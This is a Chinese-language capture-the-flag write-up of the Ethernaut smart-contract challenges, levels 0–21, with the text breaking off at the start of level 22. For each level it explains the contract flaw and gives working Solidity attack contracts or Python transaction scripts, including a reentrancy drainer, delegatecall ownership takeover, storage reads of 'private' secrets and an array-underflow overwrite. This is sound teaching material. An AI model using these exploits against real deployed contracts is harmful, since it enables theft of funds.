ETH openzeppelin 题解

前期准备

题目网址:https://ethernaut.openzeppelin.com/

水龙头:https://holesky-faucet.pk910.de/#/

查询器:https://holesky.etherscan.io/

交互器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from web3 import Web3, HTTPProvider
from web3.contract import Contract
import solcx

class BCI:
web3 : Web3
contract : Contract
ContractAddress : str
MyWalletAddress : str
PrivateKey : str
SolidityFile : str
ContractName : str
SolidityVersion : str

def __init__(self, rpc : str, ContractAddress : str, MyWalletAddress : str, PrivateKey : str, SolidityFile : str, ContractName : str, SolidityVersion : str):
self.web3 = Web3(HTTPProvider(rpc))
self.ContractAddress = ContractAddress
self.MyWalletAddress = MyWalletAddress
self.PrivateKey = PrivateKey
self.SolidityFile = SolidityFile
self.ContractName = ContractName
self.SolidityVersion = SolidityVersion

def CompileContract(self):
solcx.set_solc_version(self.SolidityVersion)
temp_file = solcx.compile_files(
self.SolidityFile,
output_values=['abi', 'bin']
)
abi = temp_file[self.SolidityFile + ':' + self.ContractName]['abi']
bin = temp_file[self.SolidityFile + ':' + self.ContractName]['bin']
return abi, bin

def DeployContract(self, Parameters : list, Value : float = 0):
abi, bin = self.CompileContract()
MyContract = self.web3.eth.contract(abi = abi, bytecode = bin)
tx = MyContract.constructor(*Parameters).build_transaction({
'chainId' : self.web3.eth.chain_id,
'from' : self.MyWalletAddress,
'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress),
'value' : self.web3.to_wei(Value, 'ether'),
'gas' : 10000000,
'gasPrice': self.web3.eth.gas_price + 5000
})
SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey)
TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction)
TransactionReceipt = self.web3.eth.wait_for_transaction_receipt(TransactionHash)
return TransactionReceipt['contractAddress']

def GetContract(self):
abi, _ = self.CompileContract()
self.contract = self.web3.eth.contract(address = self.ContractAddress, abi = abi)

def PayableCall(self, FunctionName : str, Parameters : list, Value : float = 0):
tx = getattr(self.contract.functions, FunctionName)(*Parameters).build_transaction({
'chainId' : self.web3.eth.chain_id,
'from' : self.MyWalletAddress,
'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress),
'value' : self.web3.to_wei(Value, 'ether'),
'gas' : 1000000,
'gasPrice': self.web3.eth.gas_price + 5000
})
SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey)
TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction)
self.web3.eth.wait_for_transaction_receipt(TransactionHash)

def ViewCall(self, FunctionName : str, Parameters : list):
return getattr(self.contract.functions, FunctionName)(*Parameters).call({'from': self.MyWalletAddress})

def Transfer(self, Value : float = 0):
tx = {
'chainId' : self.web3.eth.chain_id,
'from' : self.MyWalletAddress,
'to' : self.ContractAddress,
'nonce' : self.web3.eth.get_transaction_count(self.MyWalletAddress),
'value' : self.web3.to_wei(Value, 'ether'),
'gas' : 10000000,
'gasPrice': self.web3.eth.gas_price + 5000
}
SignedTransaction = self.web3.eth.account.sign_transaction(tx, self.PrivateKey)
TransactionHash = self.web3.eth.send_raw_transaction(SignedTransaction.raw_transaction)
self.web3.eth.wait_for_transaction_receipt(TransactionHash)

def GetBalance(self):
return self.web3.from_wei(self.web3.eth.get_balance(self.ContractAddress), 'ether')

def ViewStorage(self, Index : int):
return self.web3.eth.get_storage_at(self.ContractAddress, Index)

level0

根据提示一点点运行命令即可,最终得到合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = "The method name is method7123949.";
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return "You will find what you need in info1().";
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
return "The property infoNum holds the number of the next info method to call.";
}
return "Wrong parameter.";
}

function info42() public pure returns (string memory) {
return "theMethodName is the name of the next method.";
}

function method7123949() public pure returns (string memory) {
return "If you know the password, submit it to authenticate().";
}

function authenticate(string memory passkey) public {
if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

level1 Fallback

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

高版本solidity拥有fallback()和receive()两个默认函数,分别处理无转账和有转账但是没调用任何函数的情况。先使用contribute()函数让contributions[me]中有东西,在给他随便转点钱,就能通过receive()函数让自己变成owner,最后使用withdraw()函数即可转走合约内全部的钱。

1
2
3
4
5
contract = GetContract()
PayableCall('contribute', [], 0.0001)
Transfer()
print(contract.functions.owner().call({'from': MyWalletAddress}))
PayableCall('withdraw', [], 0)

level2 Fallout

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.6.0;

import "./SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

合约名为Fallout但其构造函数却错误地命名为Fal1out,导致任何人均可以调用这个函数,从而修改owner。

1
2
3
contract = GetContract()
PayableCall('Fal1out', [])
print(contract.functions.owner().call({'from': MyWalletAddress}))

level3 Coin Flip

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

题目需要我们连续猜中10次,可以考虑用python直接交互,或者使用合约去调用合约。

题目中的block.number返回的是当前正在打包的区块的编号,这是一个固定值。因此在自己的合约中无论如何都只能猜中一次。需要手动调用攻击合约10次。在使用pyhton时应当注意web3.eth.get_block_number()返回的是当前已上链的区块数,因此预先计算时无需额外减1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import bytes_to_long, long_to_bytes
lastHash = b''
blockValue = b''
FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968
def GetResult():
global lastHash, blockValue, FACTOR
while True:
blockValue = web3.eth.get_block(web3.eth.get_block_number()).hash
if blockValue == lastHash:
continue
print(blockValue)
lastHash = blockValue
coinFlip = bytes_to_long(blockValue) // FACTOR
return coinFlip == 1

contract = GetContract()
for i in range(10):
result = GetResult()
PayableCall('flip', [result], 0)
print(ViewCall('consecutiveWins', []))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip
{
function flip(bool _guess) external returns (bool) ;
}

contract Attack
{
uint256 BlockValue = 0;
uint256 Flip = 0;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function send_msg() public
{
BlockValue = uint256(blockhash(block.number - 1));
Flip = BlockValue / FACTOR;

CoinFlip target = CoinFlip(0x25c35bd3aD549A4A5eCB941c3A07D2cF6D1B9102);
target.flip(Flip == 1);
}
}

level4 Telephone

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

假设有以下调用链:account -> contract A -> ontract B,对于合约B来说msg.sender = contract Atx.origin = account。因此,我们使用合约去调用题目合约即可使得tx.origin != msg.sender

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone
{
function changeOwner(address _owner) external;
}

contract Attack
{
function attack() public payable
{
Telephone t = Telephone(0xa337B36207C062F1fF9184020eCd13568a28066B);
t.changeOwner(msg.sender);
}
}

level5 Token

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

balances[msg.sender]_value都是uint256类型,他们作差将永远不会小于0。令_value = 21使其下溢。实践中应当使用SafeMath库或者如下类似代码防止溢出:

1
2
3
if(a + c > a) {
a = a + c;
}

level6 Delegation

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

合约间调用总计三种方式,假设有调用链:account A -> contract B -> contract C,其特点如下:

msg值 运行环境
call A -> B C
callcode A -> B B
delegatecall A B

msg.data中存储了交易发生时的函数调用请求。我们可以尝试对Delegation合约调用pwn函数,由于Delegation合约找不到对应的函数,就会执行fallback函数。此时msg.data中存储着对pwn函数的调用请求,经过delegatecall后,会在Delegation合约的环境下执行Delegate合约的pwn函,也就修改了Delegation合约中的owner

level7 Force

题目:

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}

题目并没有函数可以接受转账。然而,每个合约在被销毁时都可以指定一个地址,将余额全部转过去。

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack
{
function destruct(address payable addr) public payable
{
selfdestruct(addr);
}
}

我们是无法阻止其他人向合约转账的。

level8 Vault

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

题目将password设置成了private,其他合约并不能访问它。但是,合约中的变量依旧存储在链上,我们可以使用web3.eth.get_storage_at(ContractAddress, Index)直接访问对应的地址来获取其值。

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为22562^{256}的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

假设有如下合约:

1
2
3
4
5
6
7
8
pragma solidity ^0.4.0;

contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}

那么它的存储布局如下:

1
2
3
4
5
6
7
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------

对于这道题,我们可以访问slot[1]来获取密码的值。

区块链上没有秘密。

level9 King

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

合约转账总计有三种方法:

函数 返回值 失败处理 限制
addr.transfer(value) 回退 gas小于2300
addr.call{value : value}('') (bool, bytes memory) 返回false
addr.send(value) bool 返回false gas小于2300

如此一来,我们只需让合约无法给我们转账即可。构建如下合约给题目合约打钱即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack
{
constructor() payable
{

}

function attack() public payable
{
bool b;
bytes memory data;
address addr = 0x3EF73E588BAd849df7Cd7e5783925314ECA069B3;
(b, data) = addr.call{value : address(this).balance}('');
}

receive() external payable
{
revert();
}
}

level10 Re-entrancy

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

题目先转账、再修改记录的行为构成了最经典的重入攻击。当合约的转账对象为一个合约,且它在receive()函数中重新调用这个转账函数,那么将会导致资金被无提取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance {
function withdraw(uint256 _amount) external;
function donate(address _to) external payable;
}

contract Attack {
uint256 times = 2;
address addr = 0x5323272050f2484eF6490A22E2401C367c3c89a6;
Reentrance reentrance = Reentrance(addr);

function attack() public {
reentrance.donate{value : 0.001 ether}(address(this));
reentrance.withdraw(0.001 ether);
}

receive() external payable {
if(times > 0) {
reentrance.withdraw(0.001 ether);
times--;
}
}

constructor() payable {

}
}

level11 Elevator

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

题目天真地认为同样的函数同样的参数会得到同样的结果。我们可以构造如下合约使得两次调用返回不同的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function goTo(uint256 _floor) external;
}

contract Attack {
bool t;

function attack() public {
Elevator e = Elevator(0x9AEe08f2C5de55C080d6A42CF584Cbad96ACe003);
e.goTo(1);
}

function isLastFloor(uint256 f) external returns (bool) {
t = !t;
return !t;
}
}

level12 Privacy

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}

此题目storage布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| ID(32) | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2
-----------------------------------------------------
| data[0](32) | <- slot 3
-----------------------------------------------------
| data[1](32) | <- slot 4
-----------------------------------------------------
| data[2](32) | <- slot 5
-----------------------------------------------------

题目使用bytes16截断了bytes32的数据,solidity会保留前半部分。对于uint类的则会保留后半部分。

1
2
problem.GetContract()
problem.PayableCall('unlock', [problem.ViewStorage(5)[:16]])

level13 Gatekeeper One

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

数学题。对于汽油费,可以通过在etherscan上通过失败的transaction hash查看Geth Debug Trace中的指令。查找GAS指令后的剩余数量来调控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Attack {
GatekeeperOne GK = GatekeeperOne(0xBbd77b0251bF99A16D0366aCd0d56473f5d824e5);
bytes8 _gateKey;

function attack() public {
GK.enter(_gateKey);
}

constructor() {
_gateKey = bytes8(uint64(uint160(msg.sender)) & 0xffff0000ffff);
}
}

level14 Gatekeeper Two

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

题目合约即要求通过一个合约调用,又要求调用者的代码长度为0。注意到合约在构建的时候代码长度为0,我们在constructor函数中攻击即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Attack {
GatekeeperTwo GK = GatekeeperTwo(0x47e53C6F0021fE5B79eA69c77ed679608Fc877f3);

constructor() {
GK.enter(bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this)))))));
}
}

level15 Naught Coin

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

题目合约错误地认为ERC20标准只有transfer函数可以向外转账。函数function approve(address spender, uint256 value)允许msg.senderspender添加value的许可。函数function transferFrom(address from, address to, uint256 value)允许fromto转账,同时消耗frommsg.sender的许可总计value

1
2
3
problem.GetContract()
problem.PayableCall('approve', [problem.ViewCall('player', []), problem.ViewCall('balanceOf', [problem.ViewCall('player', [])])])
problem.PayableCall('transferFrom', [problem.ViewCall('player', []), '0xeB8aff2f8147bd26C63a4271e76Dd82B964A2E69', problem.ViewCall('balanceOf', [problem.ViewCall('player', [])])])

level16 Preservation

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

注意到题目使用了delegatecall来调用库函数。当被调函数中发生访存时,将会依照storage的插槽索引变量。即,当运行setFirstTime函数后实际更改的是题目合约中的timeZone1Library变量,而非storedTime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
address tmp1;
address tmp2;
uint256 owner;

function setTime(uint256 _time) public {
owner = _time;
}

constructor() {

}
}
1
2
3
problem.GetContract()
problem.PayableCall('setFirstTime', [Attack Contract Address])
problem.PayableCall('setFirstTime', [My Wallet Address])

level17 Recovery

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

可以在etherscan上追踪前的流向看出来。

其实,合约地址的生成是有规律可寻的。经常可以看到有的通证或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址。

  • 创建者的地址是已知的,而nonce也是从初始值递增获取到的。
  • 外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
  • 合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)

level18 MagicNumber

手搓字节码:

1
2
3
4
web3.eth.sendTransaction({
from : player,
data : "0x600a600c602039600a6020f3602a60605260206060f3"
})

level19 Alien Codex

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}

solidity的动态数组在访问时会自动检查是否出界,这使得revise()函数没有相关的检查。retract()函数可以通过让length--的方法删除末尾的一个元素,但没有检查下溢。对于动态数组,solidity会在本应存储内容的插槽p上存储数组的长度,真正的内容在插槽keccak256(uint256(p))的位置开始存储。因此,我们可以通过下溢扩大数组的访问空间,再修改owner

1
2
3
4
5
6
from Crypto.Util.number import long_to_bytes
problem.GetContract()
codex = 80084422859880547211683076133703299733277748156566366325829078699459944778998
problem.PayableCall('makeContact', [])
problem.PayableCall('retract', [])
problem.PayableCall('revise', [2 ** 256 - codex, long_to_bytes(0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23).rjust(32, b'\x00')])

level20 Denial

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

题目采用call来转账但是并没有限制汽油量,可以通过限制汽油量来实现拒绝转账。在0.6.0assert()函数失败后会吞掉所有的汽油费,而在0.8.0则只会吞掉执行至此的汽油费。

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Attack {

receive() external payable {
assert(1 == 2);
}

constructor() public {

}
}

level21 Shop

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint256);
}

contract Shop {
uint256 public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

题目需要两次调用view函数但是返回值不同。可以通过检测两次调用时的汽油数、检测某外部合约的变量变量值(如题目合约的isSold)来修改两次的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Shop {
function buy() external;
}

contract Attack {

uint256 _price = 100;

function price() external view returns (uint256) {
if(gasleft() > 41000) {
return 100;
} else {
return 0;
}
}

function attack() public {
Shop shop = Shop(0xC1f535093bd82E7B2a56b0198d5aF4f8cACaA5FB);
shop.buy();
}

receive() external payable {

}

constructor() {

}
}

level22 DEX

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
